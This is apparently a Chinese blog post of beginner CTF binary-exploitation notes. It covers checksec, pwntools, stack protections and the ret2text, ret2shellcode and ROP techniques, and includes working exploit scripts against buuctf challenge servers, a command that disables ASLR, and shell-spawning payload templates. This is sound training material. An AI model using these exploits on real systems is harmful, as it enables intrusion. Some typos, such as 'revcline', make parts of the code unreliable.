PWN 入门基础笔记

环境配置

  • Python3
  • pip
  • gdb-pwndbg 插件
  • pwntools
  • IDA
  • checksec

checksec 安装以及基本环境

使用 apt 安装的最新版的用不习惯,如果安装了pwntools,里面会自带checksec工具

1
sudo apt install checksec

用法

image-20251005163822224

  • Arch

程序架构信息,判断该程序是32位还是64位程序,编写exp时选择 p32() 还是 p64()

  • RELRO

Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。

  • Stack

栈溢出保护,如果看到这个选项没有开启则可以尝试栈溢出攻击

  • NX

NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来, 当攻击者在堆栈上部署自己的 shellcode 并触发时, 只会直接造成程序的崩溃,但是可以利用rop这种方法绕过

  • PIE

无关而执行文件,该技术是针对代码段落(.text),数据段(.data),未初始化全局变量段(bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,不能通过ROPgadget等工具来解题

pwntools 安装以及基本用法

  • 使用 pip 安装 (win)
1
pip install pwntools
  • 使用 apt 安装 (Linux)
1
sudo apt install python3-pwntools

用法

  1. 导入模块
1
from pwn import *
  1. 打开链接
1
2
3
4
5
# 本地连接
io = process("文件")

# 远程连接
io = remote("[ip]",[端口])
  1. 从服务器接收数据
1
2
3
4
5
6
7
8
9
10
11
#接收一行数据
io.revcline()

# 全部接收
io.recv()

# 在读到 test 之前一直读入数据
io.recvuntil('test')

# 读入 10 位数据
io.recv(10)
  1. 向服务器发送数据
1
2
3
4
5
6
7
8
# 发送一行数据
io.sendline()

# 如果是32位程序则需要把数据打包成32比特宽度的字节流的形式
io.sendline(p32(''))

# 如果是64位程序
io.sendline(p64(''))
  1. 进入交互模式
1
io.interactive()

栈溢出 (Stack Overflow)

一种后进先出的数据结构

image-20251008093049662

栈是计算机内存中的一块特殊区域,用于存储函数调用时的局部变量、函数参数、返回地址等信息。栈遵循后进先出(LIFO)的原则,即最后进入栈的数据最先被取出。

栈是从高地址向低地址延伸的。每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)

原理

栈溢出指的是在程序向栈中写入数据时,程序没有限制输入数据的大小,写入的数据量超过了栈的剩余空间,导致数据溢出到相邻的内存区域,覆盖了原本不应被修改的数据,如函数的返回地址,所以攻击者可以构造恶意代码来 getshell

ret2text

Return To Text

这里用 buuctf PWN 方向第二题 rip

信息搜集阶段

  1. 拿到程序之后先检查一下程序的位数,看看用 ida64 还是 ida32

  1. checksec 检查一下程序的保护状态,可以看到 Stack 栈溢出保护没有开,所以有很大可能是栈溢出

image-20251008100722937

在 ida 中分析程序

  1. 使用 ida64 打开程序

image-20251008101019692

  1. 在左侧的栏内找到 main 函数,双击之后按 Tab 键可以查看反编译后的伪代码

image-20251008101221201

  1. 可以看到有一个 gets 函数,基本上确定是栈溢出攻击了。
  2. 双击变量 s 查看栈帧,可以推断出来需要填充的垃圾数据的长度 0xF + ebp [如果是 64 位程序就是 8,如果是32位程序就是 4]

image-20251013182957343

确定垃圾字符的长度

在上一步操作中已经推断出来了,但是还有另外几种方法,在此记录一下,具体以 gdb 调试的结果为准

  1. 使用 堆栈指针 , 在 选项 - 常规 中 勾选 堆栈指针

image-20251013183541427

可以确定长度 为 0x18

  1. 使用 pwngdb 调试

    1. gdb + 文件名 进入gdb调试界面
    2. starti 执行 disass main 查看 main 函数的反汇编代码,b *[16进制地址] 在输入数据的地方打断点
    3. run 运行程序 n 输入输入 AAAAAAA ,在 0x7fffffffdd61 处输入 ,在 0x7fffffffdd78 之后跳出

    image-20251013194932319

    image-20251013195047001

    1. p/d 地址1-地址2 计算一下要填充垃圾字符的位数,得到 长度为 23 是个不是 8 的倍数,同时又是一个64位的程序,所以要考虑 堆栈平衡 的问题
  2. 使用 msf 自带的命令生成垃圾字符

    1. msf-pattern_create -l 400 生成一段长度为 400 的垃圾字符

    image-20251013195802033

    1. 依旧是进入 pwngdb 调试,打完断点之后在输入数据的地方将这个长度为 400 的字符串传进去,寻找 RBP

    image-20251013200151394

    1. RBP 只能截取到 a6Aa 说明被撑爆了,只需要看看 a6Aa 这个字符串在刚刚生成的字符串的位置即可
    2. msf-pattern_offset -q a6Aa 算出来19 再加上 a6Aa 本身的长度4 ,就是 23

    image-20251013200743468

找到可以利用的shell函数地址

  1. 在 IDA 中 按 SHIFT + F12 可以查看可打印字符

image-20251013201019052

  1. 双击之后 按CTRL + X 交叉引用一下,拿到地址为0x40118A

image-20251013201509913

编写 EXP

1
2
3
4
5
6
7
8
from pwn import *

io = remote("node5.buuoj.cn",29582)
addr = 0x40118A
payload = b'a'*23 + p64(addr+1) # 堆栈平衡,所以这里要 +1

io.sendline(payload)
io.interactive()

ret2shellcode

同样是栈溢出,但是程序中没有可以利用的后门函数,这个时候就需要生成shellcode

原理

攻击者需要将 shellcode (shell 的机器码)注入到内存当中,随后lion给栈溢出复写 return_address,使程序跳转至 shellcode 所在的内存地址

注意 : 需要在 ASLR 保护机制没有开启的情况下才能利用成功

ASLR 保护机制

地址随机化

开启之后,每次程序加载是 stack、libaries、heap的基址都会随机化。

三种状态

  1. 随机化关闭
1
echo 0 > /proc/sys/kernel/randomize_va_space

EXP

生成shellcode

1
shell_code = asm(shellcraft.sh())
  • 完整exp 案例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *


io = remote("node5.buuoj.cn",27627)
buf_addr = 0x233000
offset = 56
shell_code = asm(shellcraft.sh())
payload = b'a'*56 + p64(buf_addr)

io.sendline(shell_code)
io.recvline()
io.sendline(payload)

io.interactive()

print(payload)

ROP

32位 ROP 链 构造

payload 格式

1
payload = b'a' * [垃圾数据长度] + p32(_system 地址) + p32(0) + p32(/bin/sh 地址)

64位 ROP 链 构造

payload 格式

1
payload = b'a' * [垃圾数据长度] + p64(rdi) + p64(/bin/sh 地址) + p64(_system 地址)

PWN 入门基础笔记
https://blog.lixey.top/posts/15cede88/
Author
Lixiney
Posted on
October 5, 2025
Licensed under